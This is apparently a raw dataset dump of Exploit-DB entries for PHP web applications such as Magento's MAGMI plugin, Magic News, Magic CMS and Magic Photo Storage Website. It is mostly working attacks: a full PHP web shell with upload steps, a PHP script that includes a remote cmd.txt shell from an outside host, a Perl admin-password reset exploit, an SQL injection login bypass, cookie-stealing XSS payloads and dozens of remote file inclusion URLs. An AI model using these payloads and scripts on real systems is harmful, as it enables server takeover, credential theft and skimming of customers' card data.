deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35052
Description: Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion
Type: webapps
Platform: php
Date: 2014-10-25
Author: Parvinder Bhasin

Exploit:
Exploit found date:  10/24/2014
Security Researcher name:  Parvinder Bhasin
Contact info:  parvinder.bhasin@gmail.com
twitter:  @parvinderb - scorpio

Currently tested version:
Magento version:  Magento CE - 1.8 older
MAGMI version: v0.7.17a older

Download software link:
Magento server:  http://www.magentocommerce.com/download
MAGMI Plugin:
https://sourceforge.net/projects/magmi/files/magmi-0.7/plugins/packages/

MAGMI (MAGento Mass Importer) suffers from File inclusion vulnerability
(RFI) which allows an attacker to upload essentially any PHP file (without
any sanity checks).  This PHP file could then be used to skim credit card
data, rewrite files, run remote commands, delete files..etc.  Essentially,
this gives attacker ability to execute remote commands on the vulnerable
server.


Steps to reproduce:

1.  http://<a magentosite.com>/magmi/web/magmi.php
2.  Under upload new plugins:
click on "choose file"
MAGento plugins are basically php file zipped.  So create a php shell and
zip the file. ex: evil.php  ex: zip file: evil_plugin.zip.  After the file
has been uploaded, it will say:  Plugin packaged installed.
 evil.php:

 <?php
if (isset($_POST['command'])){
echo "<form action='evil.php' method='post'>
      <input type='text' name='command' value=''/>
      <input type='submit' value='execute'/>
      </form>";

    if(function_exists('shell_exec')) {
    $command=$_POST['command'];
    $output = shell_exec("$command");
    echo "<pre>$output</pre>";
   }
}
else {
  echo "<form action='evil.php' method='post'>
      <input type='text' name='command' value=''/>
      <input type='submit' value='execute'/>
      </form>";
}
?>

3.  Your malicious evil.php file is extracted now.  All you then need to do
is just access the evil.php page from:
http://<amagentosite.com>/magmi/plugins/evil.php
 At this point you could really have access to the entire system.  Download
any malware, install rootkits, skim credit card data ..etc.etc.
Exploit-DB #27251
Description: Magic Calendar Lite 1.02 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-20
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16734/info

Magic Calendar Lite is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.02 is vulnerable; other versions may also be affected.

The following proof of concept is available: 

Url: http://www.example.com/index.php
Login: ' or 1/*
Password: any
Exploit-DB #3438
Description: Magic CMS 4.2.747 - 'mysave.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-08
Author: DNX

Exploit:
                             \#'#/
                             (-.-)
   ---------------------oOO---(_)---OOo---------------------
   | Magic CMS v4.2.747 (mysave.php) Remote File Inclusion |
   |        (works only with register_globals = on)        |
   |                     coded by DNX                      |
   ---------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: www.geo-soft.net/de-ch/
[!] Detected: 03.03.2007
[!] Reported: 03.03.2007
[!] Remote: yes

[!] Background: Magic CMS is an easy to use content 
    management system based on PHP.

[!] Bug: $file in mysave.php line 3 
         
         @include($file."/myconfig.php");
         
[!] PoC: http://[site]/[path]/mysave.php?file=[shell]

[!] Solution: Waiting for patch/update. No response from 
    vendor.

# milw0rm.com [2007-03-08]
Exploit-DB #29628
Description: Magic News Plus 1.0.2 - 'news.php?&link_parameters' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/22661/info
 
Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities.
 
An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process or to steal cookie-based authentication credentials. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
These issues affects version 1.0.2; other versions may also be vulnerable.
 
http://www.example.com/news.php?GLOBALS[]=1&link_parameters="><script>alert(document.cookie);</script>
Exploit-DB #29629
Description: Magic News Plus 1.0.2 - 'n_layouts.php?link_parameters' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/22661/info
  
Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities.
  
An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process or to steal cookie-based authentication credentials. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
  
These issues affects version 1.0.2; other versions may also be vulnerable.

 http://www.example.com/n_layouts.php?link_parameters="><script>alert(document.cookie);</script>
Exploit-DB #29627
Description: Magic News Plus 1.0.2 - 'preview.php?PHP_script_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/22661/info

Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities.

An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process or to steal cookie-based authentication credentials. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

These issues affects version 1.0.2; other versions may also be vulnerable.

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*   Magic News PHP Code Execution Exploit
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*       Magic News  Command Execution        */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<2) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/
/**********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1]."/";
$exploit="preview.php?php_script_path=http://www.soqor.net/tools/cmd.txt?/soqor";
$page=$url.$exploit;
         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

     $newpage = get_page($page);

     if(eregi("Cannot execute a blank command",$newpage))
     {
       Die("\n[+] Exploit Finished\n[+] Go To : 
".$url."preview.php?php_script_path=http://www.soqor.net/tools/cmd.txt?/soqor\n[+] 
You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            
*/\n/**********************************************/");
             }
             Else
             {
                Die("\n[-] Exploit Failed\n/*        Visit us : 
WwW.SoQoR.NeT            
*/\n/**********************************************/");
                }
?>
Exploit-DB #1410
Description: Magic News Plus 1.0.3 - Admin Pass Change
Type: webapps
Platform: php
Date: 2006-01-09
Author: cijfer

Exploit:
#!/usr/bin/perl
#
# Magic News Plus <=1.0.3 Admin Pass Change Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem 
# is (line 108 of 426):
#
#       ...
# [1]   elseif ($action == "change")
#	       ...
# [2]	   if ($passwd != $admin_password)
#		       ...
# [3]		   if ($new_passwd != $confirm_passwd)
#       ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
#
# $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $

use LWP::UserAgent;
use Getopt::Long;
use Term::ANSIColor;

$port = 80;
$new  = "cijfer";
$res  = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel, "new=s" => \$new);

&usage unless $host and $dir;
&exploit;

sub usage
{
	print "Magic News Plus <=1.0.3 Admin Pass Change Exploit\n";
	print "Usage: $0 -hdn [OPTION]...\n\n";
	print "  -h --host\thostname or ip of target\n";
	print "  -d --dir\tdirectory without ending slash\n";
	print "  -p --port\tport number (default: 80)\n";
	print "  -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -n --new\tnew admin password you want (default: cijfer)\n\n";
	exit;
}

sub try
{
	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
	$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

	$path="http://".$host.$dir."/";
	$out=$cij->get($path."index.php?login=admin&password=".$new."&action=login");

	if($out->is_success)
	{
		if($out->content =~ /Wrong/)
		{
			print color("red"), ":(\n", color("reset");
			exit;
		}
	}
}

sub exploit
{
	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
	$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

	$string  = "settings.php?action=change";
	$string .= "&[CREDENTIAL_REDACTED]";
	$string .= "&admin_[CREDENTIAL_REDACTED]";
	$string .= "&new_passwd=";
	$string .= $new;
	$string .= "&confirm_passwd=";
	$string .= $new;

	$path="http://".$host.$dir."/";
	$out=$cij->get($path.$string);

	if($out->is_success)
	{
		print "trying username admin and password ".$new."...\n";
		&try;
		print "user: admin, pass: ".$new;
		print color("green"), " :)) ", color("reset");
		print "-- http://".$host.$dir."\n";
	}
	else
	{
		print color("red"), ":(\n", color("reset");
		exit;
	}
}

# milw0rm.com [2006-01-09]
Exploit-DB #2363
Description: Magic News Pro 1.0.3 - 'script_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-13
Author: Saudi Hackrz

Exploit:
#====================================================================
#Magic News Pro => 1.0.3 (script_path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.reamdaysoft.com
#http://www.reamdaysoft.com/magic-news-pro/overview.html
#=================================================================
#
#Script Name: Magic News Pro v 1.0.3
#Script :) << $$
#http://www.9q9q.net/up3/index.php?f=jMicDawzV
#
#=================================================================
#Bug in : news_page.php
#        include_once($script_path."/config.php");
#
#in <<<<  news/scripts/news_page.php
#Serche : "js-news.php?nr=" or "mgic news pro" or "js-news.php"
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/news/scripts/news_page.php?script_path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :SnIpEr_Sa , KiNg18 , LeCoPrA And All My Frind :)
#www.S3hr.com . www.elite-team.cc/vb .www.3asfh.net . www.lezr.com/vb .www.xp10.com
===============================================================================#

# milw0rm.com [2006-09-13]
Exploit-DB #29410
Description: Magic Photo Storage Website - '/admin/add_templates.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
   
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/add_templates.php?_config[site_path]=http://www.example2.com
Exploit-DB #29408
Description: Magic Photo Storage Website - '/admin/add_welcome_text.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
 
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/add_welcome_text.php?_config[site_path]=http://www.example2.com
Exploit-DB #29409
Description: Magic Photo Storage Website - '/admin/admin_email.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
  
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/admin_email.php?_config[site_path]=http://www.example2.com
Exploit-DB #29407
Description: Magic Photo Storage Website - '/admin/admin_password.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info

Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/admin_password.php?_config[site_path]=http://www.example2.com
Exploit-DB #29411
Description: Magic Photo Storage Website - '/admin/admin_paypal_email.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
    
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/admin_paypal_email.php?_config[site_path]=http://www.example2.com
Exploit-DB #29412
Description: Magic Photo Storage Website - '/admin/approve_member.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
     
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/approve_member.php?_config[site_path]=http://www.example2.com
Exploit-DB #29413
Description: Magic Photo Storage Website - '/admin/delete_member.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
      
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/delete_member.php?_config[site_path]=http://www.example2.com
Exploit-DB #29414
Description: Magic Photo Storage Website - '/admin/index.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
       
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/index.php?_config[site_path]=http://www.example2.com
Exploit-DB #29415
Description: Magic Photo Storage Website - '/admin/list_members.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
        
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/list_members.php?_config[site_path]=http://www.example2.com
Exploit-DB #29416
Description: Magic Photo Storage Website - '/admin/membership_pricing.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
         
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/membership_pricing.php?_config[site_path]=http://www.example2.com
Exploit-DB #29417
Description: Magic Photo Storage Website - '/admin/send_email.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
          
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/send_email.php?_config[site_path]=http://www.example2.com
Exploit-DB #29418
Description: Magic Photo Storage Website - '/include/config.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
           
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/include/config.php?_config[site_path]=http://www.example2.com
Exploit-DB #29419
Description: Magic Photo Storage Website - '/include/db_config.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
            
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/include/db_config.php?_config[site_path]=http://www.example2.com
Exploit-DB #29420
Description: Magic Photo Storage Website - '/user/add_category.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
             
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
             
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/add_category.php?_config[site_path]=http://www.example2.com
Exploit-DB #29421
Description: Magic Photo Storage Website - '/user/add_news.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
              
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
              
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/add_news.php?_config[site_path]=http://www.example2.com
Exploit-DB #29422
Description: Magic Photo Storage Website - '/user/change_catalog_template.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
               
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
               
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/change_catalog_template.php?_config[site_path]=http://www.example2.com
Exploit-DB #29423
Description: Magic Photo Storage Website - '/user/couple_milestone.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/couple_milestone.php?_config[site_path]=http://www.example2.com